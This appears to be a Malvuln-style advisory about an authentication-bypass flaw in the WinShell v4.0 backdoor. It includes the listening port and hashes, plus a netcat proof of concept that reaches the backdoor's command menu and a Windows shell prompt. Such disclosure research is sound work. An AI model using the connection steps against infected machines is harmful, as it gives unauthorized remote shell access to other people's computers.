Backdoor.Win32.WinShell.40 Authentication Bypass / Command Execution

Backdoor.Win32.WinShell.40 malware suffers from authentication bypass and command execution vulnerabilities.

MD5 | c1b70da76de830e206950c706fbbe700

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.WinShell.40
Vulnerability: Authentication Bypass Command Execution
Description: Malware WinShell v4.0 by janker listens on TCP port 5277 and allows for setting a password for remote access. However, after setting the password any combination of the characters used for the password will allow access. E.g. if the password is set to "abc123" interestingly the chars "eutn" allows access. Also, password combinations like: abc321, 321abc, 132abc, a1b2c3, cba123, bca321, bac321, cab123, cab231, cab312, cab213, ab1c23 will also authenticate successfully. Sometimes when attempting to authenticate with a derived password and it fails, try it again and boom it works!
Type: PE32
MD5: 83fe2cc7aedc452d71c751053a2112c4
Vuln ID: MVID-2021-0278
Disclosure: 07/03/2021

Set password to Malvuln123

nc64.exe x.x.x.x 5277

WinShell v4.0
(C)2001 by janker

? for help

i Install
u Uninstall
w Where
r Reboot
p Poweroff
q Quit
e End
s Shell
url download

? for help
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.



nc64.exe x.x.x.x 5277

WinShell v4.0
(C)2001 by janker

? for help

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